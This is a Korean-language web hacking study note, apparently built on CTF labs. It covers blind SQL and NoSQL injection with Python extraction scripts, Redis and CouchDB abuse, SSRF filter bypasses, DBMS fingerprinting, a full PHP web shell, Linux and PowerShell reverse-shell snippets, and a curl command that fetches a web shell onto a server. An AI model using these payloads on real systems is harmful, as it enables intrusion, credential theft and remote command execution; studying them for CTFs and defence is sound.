            # 응답에 Login success 문자열이 있으면 해당 문자를 password 변수에 저장
            if c.text.find("Login success") != -1:
                password += ch
                break
    print(f"Password is {password}")
    
  • 비밀번호 길이 추론 및 확인
    • 비밀번호 길이 체크 핵심 : f"((SELECT CHAR_LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
      • 문자열 인코딩에 따른 정확한 길이 계산을 위해서는 LENGTH 보다 CHAR_LENGTH 함수를 쓰는것이 더 확실하다.
    • 문자열이 한 바이트가 아닐 수도 있으므로 바이트 길이를 따로 계산한다.
      bit_length = 0
      while 1:
        bit_length += 1
        f"SELECT * FROM users WHERE LENGTH(BIN(ORD(SUBSTR(password, {i}, 1)))) = {bit_length}-- -"
      
    • 비밀번호 확인 핵심 : f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
      • 비밀번호 길이를 구한 후 첫 글짜부터 끝 글짜까지 하나씩 맞춰 나간다.
      • ASCII로 표현되지 않는 글자의 경우, bit를 하나씩 맞춰 나가야 하므로 2중 반복문이 필요하다.
        f"SELECT SUBSTR(BIN(ORD(SUBSTR(password, {i}, 1))), {j}, 1) = '1'-- -"
        
      • 전체 bit 를 이어붙인 string 을 담은 ‘bits’ 변수를 다시 정수 형태로 변경하고, 이를 8byte씩 잘라 big endian 으로 변환하고(길이 계산에 주의), utf-8로 디코딩 한다.
        for i in range(1, password_length + 1):
          password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
        
  • python 코드
    #!/usr/bin/python3
    #!/usr/bin/python3
    import requests
    import sys
    from urllib.parse import urljoin
    
    
    class Exploit:
        # initialization
        def __init__(self, base_url: str) -> None:
            self.base_url = base_url
    
        def _sqli_by_get(self, url:str) -> str:
            res = requests.get(self.base_url + url)
            print(url)
            return res
    
        def _sqli_by_post(self, data:str) -> str:
            res = requests.post(self.base_url, data=data)
            print(data)
            return res
    
        def _binsearch(self, query:str, key_word:str, low:int, high:int) -> int:
            while 1:
                mid = (low + high) // 2
                print(low, mid, high)
                if low + 1 >= high:
                    break
                if key_word in self._sqli_by_get(query.format(data_length=mid)).text:  # TODO: 필요에따라 _sqli_by_get 혹은 _sqli_by_post 사용
                    high = mid
                else:
                    low = mid
            return mid
    
        # attack methods
        def _find_data_length(self, query: str, key_word:str, max_data_len:int) -> int:
            data_len = self._binsearch(query, key_word, 0, max_data_len)
            return data_len
    
        def _find_data_bit_length(self, query:str, key_word:str, idx: int) -> str:
            bit_length = 0
            while True:
                bit_length += 1
                if key_word in self._sqli_by_get(query.format(idx=idx, bit_length=bit_length)).text:  # TODO: 필요에따라 _sqli_by_get 혹은 _sqli_by_post 사용
                    break
            print(f"{idx}th bit length: {bit_length}")
            return bit_length
    
        def _guess_ascii_data(self, query:str, key_word:str, data_len: int) -> str:
            data = ""
            for idx in range(1, data_len + 1):
                pw += chr(self._binsearch(query, key_word, 0x2F, 0x7E))
                print(f"{idx}. {data}")
            return data
    
        def _guess_bit_data(self, query1:str, query2:str, key_word:str, data_len: int) -> str:
            decoded_data = ""
            for i in range(data_len + 1):
                bits = ""
                # i번째 데이터가 몇 bit로 이루어진지 확인
                bit_length = self._find_data_bit_length(query1, key_word, i)
    
                # i번째 데이터를 bit로 변경한 후 값 확인
                for j in range(1, bit_length + 1):
                    if key_word in self._sqli_by_get(query2.format(data_idx=i, bit_idx=j)).text:  # TODO: 필요에따라 _sqli_by_get 혹은 _sqli_by_post 사용
                        bits += "1"
                    else:
                        bits += "0"
                print(f"bits: {bits}")
                # bit를 byte 단위로 묶어서 utf-8로 표현
                decoded_data += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
                print(f"data: {decoded_data}")
            return decoded_data
    
        def solve(self, length_query:str, bit_length_query:str, guess_query:str, key_word:str, max_data_length:int) -> None:
            # Find the length of data
            data_len = self._find_data_length(length_query, key_word, max_data_length)
            print(f"Length : {data_len}")
            # Find the exact data
            data = self._guess_bit_data(bit_length_query, guess_query, key_word, data_len)
            print(f"Result : {data}")
    
    
    if __name__ == "__main__":
        port = '10671'
        base_url = f'http://host3.dreamhack.games:{port}/?uid='
    
        column_name = 'upw'
        # 데이터의 길이가 data_length 인지 확인하기 위함
        length_query = f"admin' AND CHAR_LENGTH({column_name}) < {{data_length}}-- -"
        # idx번째 문자를 bit로 표현했을 때 길이가 bit_length 인지 확인하기 위함
        bit_length_query = f"admin' AND LENGTH(BIN(ORD(SUBSTR({column_name}, {{idx}}, 1)))) = {{bit_length}}-- -"
        # data_idx번째 문자를 bit로 환산하였을 때 bit_idx 위치가 1인지 확인하기 위함
        guess_query = f"admin' and SUBSTR(BIN(ORD(SUBSTR({column_name}, {{data_idx}}, 1))), {{bit_idx}}, 1) = '1'-- -"
        key_word = 'exist'
        solver = Exploit(base_url)
      solver.solve(length_query, bit_length_query, guess_query, key_word, 100)
    
  • ex) LIMIT 함수를 이용해 출력 레코드 갯수를 한개로 제한, -- 를 통해 뒤쪽 쿼리를 무력화
    • SELECT * FROM users WHERE username = '' OR 1=1 LIMIT 0,1 -- ' ;

Blind NoSQL Injection

  • 조건: url로 NoSQL 인자로 object 타입을 대입할 수 있다.
  • 다음은 MongoDB를 사용하는 시스템에 대한 공격 예시이다.
  • $regex 구문을 사용하여 정규식으로 문자의 시작 ‘upw’ 키워드의 첫 글자 확인하는 쿼리
    # http://SERVER_URL?upw[$regex]=^a
    > db.user.find({upw: {$regex: "^a"}})
    > db.user.find({upw: {$regex: "^b"}})
    > db.user.find({upw: {$regex: "^c"}})
    ...
    > db.user.find({upw: {$regex: "^g"}})
    { "_id" : ObjectId("123456789123456789123456"), "uid" : "guest", "upw" : "guest" }
    
  • $wheresubstring 조합을 활용해 첫 글자를 비교하는 방법
    > db.user.find({$where: "this.upw.substring(0,1)=='a'"})
    > db.user.find({$where: "this.upw.substring(0,1)=='b'"})
    > db.user.find({$where: "this.upw.substring(0,1)=='c'"})
    ...
    > db.user.find({$where: "this.upw.substring(0,1)=='g'"})
    { "_id" : ObjectId("123456789123456789123456"), "uid" : "guest", "upw" : "guest" }
    
    > db.user.find({$where:"return 1==1"}) // 전체 레코드 출력
    > db.user.find({uid:{$where:"return 1==1"}}) // 에러
    
  • 위 조건문을 포함한 쿼리를 DB에 주입시키고 쿼리 실행 결과가 참이라면 공격자가 알아볼 수 있는 동작을 발생시켜야 한다.
    1. Time based Injection
      • sleep 함수를 사용하여 응답지연 혹은 timeout을 유발시킨다.
        > SUBSTRING((SELECT COUNT(*) FROM users WHERE name = "admin"), 1, 1) = 'a' AND SLEEP(10);
        
        
        > SUBSTRING((SELECT COUNT(*) FROM users WHERE name = "admin"), 1, 3) = 'abc' AND SLEEP(10);
        ...
        // AND 연산자 특성상 앞 구문이 false(0)이면 SLEEP이 실행되지 않기 때문에 결과를 예측할 수 있다.
        
        > SUBSTRING((SELECT COUNT(*) FROM users WHERE name = "admin"), 1, 2) = 'ab' && SLEEP(10);
        // AND 대신 && 를 사용할 수도 있다.
        
      • 아니면 IF문을 직접 사용할 수도 있다.
        SELECT IF(true, sleep(10), 0);
        
      • BENCHMARK 함수도 실행에 오랜 시간이 걸리기에 시간 지연을 유발할 수 있다.
        • ex) BENCHMARK(40000000, SHA1(1));
    2. Error based Injection
      • 고의로 문법에 맞지않는 구문을 넣어 에러를 발생시킨다.
      > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf"});
      
      • asdf 라는 에러가 발생
      • debug 모드가 켜져있을 땐 에러에 에러 원인에 관한 구문이 출력되는 것을 이용해 원하는 데이터를 출력할 수도 있다.
        • ex)
          // SQL의 EXTRACTVALUE 구문과 sub query를 사용하여 비밀번호를 출력시킨다. 
          SELECT extractvalue(123, concat(0x3a, (SELECT password FROM users WHERE username='admin')));
          // 출력된 에러 구문은 다음과 같다. 
          ERROR 1105 (HY000): XPATH syntax error: ':123456'
          
        • CTXSYS.DRITHSX.SN, convert, cast 등의함수가 동일한 용도로 사용 될 수 있다.
  • python 자동화 코드
    • 알파벳의 한 글자씩 ‘ch’ 변수에 대입하여 전체 ‘flag’ 를 찾아가는 과정. 비밀번호 포멧이 D?{} 형태임을 알고 있다는 가정 하에 구현
    import requests, string
    
    HOST = 'http://localhost'
    ALPHANUMERIC = string.digits + string.ascii_letters
    SUCCESS = 'admin'
    
    flag = ''
    
    for i in range(32):
        for ch in ALPHANUMERIC:
            response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
            if response.text == SUCCESS:
                flag += ch
                break
    
        print(f'FLAG: DH{{{flag}}}')
    
  • Redis 공격
    • NodeJS에서 Redis 쿼리를 처리하는 라이브러리는 인자의 type에 따라 동작이 달라진다.
      • 첫 번쨰 인자가 배열이면 [key, value] => Command(command, key, value) 로 동작한다.
      • 첫 번째 인자가 문자열이면 key, value, callback => Command(command, [key, value], callback) 로 동작한다.
      • 이를 이용해 value가 들어가야 할 자리에 [key, value] 를 조합한 배열을 집어넣으면 개발자의 의도와 다른 결과가 발생한다.
    • Redis는 유효하지 않은 명령어가 입력되어도 다음 명령어를 이어서 수행한다.
      • ex) echo -e "error making string\r\nget data" | nc 127.0.0.1 6379 : ‘get data’ 명령이 수행된다.

File Vulnerability

  • 조건: 임의의 파일을 서버에 업로드하고, 로드할 수 있다.
  • 아래는 php 의 Web shell 코드 예시이다. 아래를 .php 확장자로 생성하여 서버에 업로드하고, 서버에서 해당 파일을 로드하도록 유도하면 CGI 에 의해 서버에서 shell 명령어를 동작시킬 수 있다.
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

SSRF (Server-side Request Forgery)

  • 조건: local 에서 micro service를 구동하고 특정 port, url로 인터페이스를 구성한 경우
  • “localhost” URL에 대한 필터링 우회
    • 127.0.0.1 로 매핑된 도메인 서버 주소를 사용한다.
      • 예를들어 “*.vcap.me” 도메인은 localhost URL로 매핑되어 있다.
    • 127.0.0.1 은 아래와 같이 표현할 수도 있다.
      • 0x7f.0x00.0x00.0x01 : 16진수로 풀어쓰기
      • 0x7f000001 : 16진수로 풀어서 ‘.’ 생략
      • 2130706433 : 10진수로 풀어서 ‘.’ 생략
      • 127.1 : ‘0.0.’ 생략
      • 127.0.1 : ‘0.’ 생략
    • URL은 문자의 대소문자를 구별하지 않기 때문에 localhost 문자로만 필터링이 되어있다면 아래와 같이 우회가 가능하다.
      • LocalHost, loCalhost, loaLHost, LOCALHOST
    • 또한 127.0.0.1부터 127.0.0.255 까지의 IP는 루프백(loop-back) 주소라고 하여 모두 로컬 호스트를 가리킨다.

DBMS Fingerprinting

  • 타깃의 DBMS를 확인하는 과정으로, DMBS의 종류와 버전을 알아내는 해킹의 첫 단계를 칭한다.
  1. 쿼리 결과 출력
    • @@version, version() 등의 예약어나 함수로 버전 정보를 추출할 수 있다.
      • SQLite : sqlite_version() => 3.11.0

      • MSSQL : @@version => Microsoft SQL Server ….

      • PostgreSQL : version() => PostgreSQL 12.2 (Debian 12.2-2.pgdg100+1) …

      • mysql : version() => 5.7.29-0ubuntu0.16.04. …

    • blind sql injection 기법으로 버전 정보를 하나씩 추론 해 나갈 수도 있다.
  2. 에러 출력
    • 에러 매시지가 출력된다면, DBMS의 컬럼 명 혹은 테이블 명이 에러 메시지에 포함되도록 유도할 수 있다.
  3. DBMS의 기본 세팅에서 사용하는 포트를 확인하여 DBMS의 종류를 추론할 수 있다.
  • DBMS마다 데이터베이스 실행에 필요한 주요 정보들을 저장한 System Table 을 보유하고 있고, 여기 든 정보들은 exploit 을 수행하는데 필요한 정보들이다.

    • MySQL의 information_schema : MySQL 서버에 존재하는 모든 다른 데이터베이스, 테이블, 컬럼, 인덱스, 권한, 문자셋 등 메타데이터를 저장하고 있는 시스템 데이터베이스로, 데이터를 저장하는 용도가 아니라, “데이터에 대한 정보"를 저장하는 가상 데이터베이스이다.

      SCHEMATA: 현재 MySQL 서버에 존재하는 모든 데이터베이스 목록
      TABLES: 모든 데이터베이스의 테이블 정보 (이름, 타입, 엔진 등). TABLE_SCHEMA는 database를, TABLE_NAME는 database 안의 table을 표시한다.
      COLUMNS: 모든 테이블의 컬럼 정보 (데이터 타입, NULL 여부, 기본값 등). TABLE_SCHEMA는 database를, TABLE_NAME는 database 안의 table을, COLUMN_NAME은 필드명을 표시한다.
      STATISTICS: 인덱스 정보
      KEY_COLUMN_USAGE: 외래 키 관계 정보
      REFERENTIAL_CONSTRAINTS: 외래 키 제약 조건
      VIEWS: 뷰(View)에 대한 정의 정보
      CHARACTER_SETS: 지원하는 문자셋 정보
      COLLATIONS: 문자셋의 정렬 방식 정보
      USER_PRIVILEGES: 사용자 권한 목록 TABLE_CONSTRAINTS: PK, FK, UNIQUE 등 제약 조건 정보
      PROCESSLIST: 현재 연결된 세션/쿼리 정보 (MySQL 8.0부터 PERFORMANCE_SCHEMA로 이동됨)

    • MySQL의 sys: 실행중인 데이터베이스의 접속 및 권한 정보

      SESSION: 현재 접속한 유저의 정보
      DATABASES: 데이터베이스 목록

    • MySQL의 mysql: mysql 시스템 정보

      USER: 유저의 이름 및 비밀번호 해싱값을 저장

    • MSSQL의 ..sysdatabases: 특정 테이블 뒤에 붙여 데이터베이스 목록을 조회할 수 있다.
      • ex) master..sysdatabases
        • master.dbo.sysdatabases 와 동일한 구문이다.
    • MSSQL에서 DB_NAME(0) : 현재 데이터베이스의 이름
    • MSSQL에서 sys.databases : 데이터베이스 목록
    • MSSQL에서 ..sysobjects : 특정 테이블 뒤에 ..sysobjects를 사용해 테이블에 접근할 수 있다.
      • ex) mytable..sysobjects WHERE xtype = 'U';
      • xtype = ‘U’ 는 유저가 정의한 테이블을 의미한다.
    • MSSQL에서 information_schema.tables : 특정 데이터베이스 뒤에 사용해서 테이블 이름 접근 가능
      • ex) SELECT table_name FROM mydatabase.information_schema.tables;
    • MSSQL에서 syscolumns : database내 테이블의 컬럼들 접근 가능
      • sub query를 사용해서 특정 테이블 내의 컬럼들 확인 가능
        • ex) SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'myTable');
    • MSSQL에서 information_schema.columns : 특정 데이터베이스 뒤에 사용해서 테이블의 컬럼 접근 가능
      • ex) SELECT table_name, column_name FROM myDatabase.information_schema.columns
    • MSSQL에서 master.sys.sql_logins : 서버의 계정정보
      • ex) SELECT name, password_hash FROM master.sys.sql_logins
    • MSSQL의 master..syslogins : 서버의 계정정보
  • postgreSQL 의 pg_catalog.pg_namespace : 데이터베이스 주요 정보를 포함한 스키마

    • ex) postgres=$ select nspname from pg_catalog.pg_namespace;
  • postgreSQL 의 information_schema.tables : 데이터베이스 주요 정보를 포함한 테이블 이름

    • ex) postgres=$ select table_name, table_name from information_schema.tables where table_schema='pg_catalog';
  • postgreSQL 의 information_schema.tables.pg_shadow : 게정정보와 비밀번호 해싱값

  • postgreSQL 의 pg_catalog.pg_settings : DBMS 설정 정보

  • postgreSQL 의 pg_catalog.pg_stat_activity : 실시간 쿼리 정보

  • postgreSQL 의 information_schema.columns : DB, 테이블, 컬럼 정보

  • oracle의 all_tables : 사용자가 접근 가능한 테이블 정보

  • oracle의 all_tab_columns : 사용자가 접근 가능한 테이블 정보

  • oracle의 all_users : 계정 정보

  • SQLite의 sqlite_master : 시스템 정보가 포함된 테이블

Couch DB exploiting

  • CouchDB 는 HTTP 통신을 통해 원격으로 데이터를 저장, 조회 가능하도록 인터페이스가 구현되어 있다.
    • /_all_dbs : 모든 데이터베이스 목록 반환
    • _utils : 관리자 페이지
    • /{DB이름}/_all_docs : DB 안에 포함된 모든 항목 반환
    • /{DB이름}/_finds : JSON 쿼리에 매칭되는 모든 항목 반환
  1. /DB이름/_alldocs 로 접근을 차단하지 않았다면 해당 url에서 DB 정보를 획득할 수 있다.
  2. couch DB는 noSQL 이고, object 형태의 쿼리를 /{DB이름}/_finds url에 넣어 동작시킨다. 하지만 쿼리에 연산자가 포함되었는지 점금하지 않는다면 sql injection 공격이 가능하다.
    • 정상 : {'selector': {'key': 'name', 'value': 'admin'}
    • 공격쿼리 : {'selector': {'key': 'name', 'value': {'$ne':''}}
  3. 쿼리에 해당하는 값이 없을 떄 반환값은 undefined 이다. 이를 이용해 비교구문을 회피할 수 있다.
    • if (result.pswd === req.body.pswd) 구문에서 req.body.pswd = undefined 로 세팅하고, 쿼리 결과 result에 pswd 필드가 없다면 result.pswd = undefined 가 된다.
    • /{DB이름}/_all_docs 으로 쿼리를 요청하면 쿼리 결과는 성공적으로 받아올 수 있지만 result에는 pswd 필드가 없어 exploit을 하기 적합하다.
      • ex) {"key": "_all_docs"}

Command Injection (Linux)

  • 원격으로 쉘에 명령을 주입한 후 실행 결과를 확인할 수 없는 상황 일때 사용 가능한 방법은 다음과 같다.

    • network outbound : 네트워크 도구를 서버에 설치하여 명령어 실행 결과를 전송하는 것
      • 쉘 명령어의 파이프를 통해 명령어 실행 결과를 네트워크로 출력
      • ne, telnet, wget, curl 등을 네트워크 파일이나 /dev/tcp, /dev/udp 등의 bash 기능을 사용 가능
    • reverse shell : 공격 대상자의 시스템을 대상으로 shell 을 서비스 하는 것
      • ex) 타깃 시스템에 /bin/sh -i >& /dev/tcp/127.0.0.1/8080 0>&1 명령어 실행 후 8080포트로 연결 시도
    • bind shell : 특정 포트로 shell 을 서비스 하는 것
    • 파일 : 특정 경로에 실행 결과를 파일로 남긴는 것
  • 보호기법 회피 방법

    • IP주소를 long 형태로 세팅할 수 도 있다. (ex: 3232235521 = 192.168.0.1)
    • 와일드카드로 문자열 필터링을 회피할 수 있다. (ex: /bin/ls = /bin/?s)
    • ascii를 hex 데이터로 치환할 수 있다. (ex: id = \x69\x64, password=70617373776F7264)

    Command Injection (Window)

    • 윈도우는 리눅스와 메타문자가 다르기 때문에 윈도우 전용 메타문자를 확인하고 사용하여야 한다.
      • ex: $PATH vs %PATH%
    • 윈도우는 자체적인 보안 시스템인 윈도우 디펜더가 기본적인 보안을 수행하고 있기 때문에 이를 우회해야 공격이 가능하다.
    • 윈도우의 리버스 쉘
      $tcp = New-Object System.Net.Sockets.TCPClient("IP주소",포트)
      $socket = $tcp.GetStream();
      [byte[]]$inputs = 0..65535|%{0};
      $encData = ([text.encoding]::ASCII).GetBytes($sendinputs);
      $socket.Write($encData,0,$encData.Length);
      $socket.Flush()
      

PHP exploit

  • command injection & file vulnerability 를 이용한 공격이다.
  • 조건 : php에서 shell_exec 명령어로 shell 명령어를 실행하며, 명령어를 url로 받는 경우
    • curl 명령을 실행시켜 web shell 을 서버에 저장시키고 이를 실행하는 방법으로 권한을 탈취한다. (file vulnerabiltiy)
    • escapeshellcmd 함수로 공격을 어느정도 방어할 수는 있지만, ‘-’ 문자열 자체를 필터링 하지는 않기 때문에 file vulnerability를 완전히 막을 수는없다.
      • ex) shell_exec('curl '. escapeshellcmd($input));
  • github 의 webshell 파일을 curl -o 커맨드로 특정 위치에 다운받도록 한다.
    • ex)curl%20https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php%20-o%20/var/www/html/cache/webshell.php
    • cache/webshell.php 에 접속하면 주입한 웹쉘을 실행시킬 수 있다.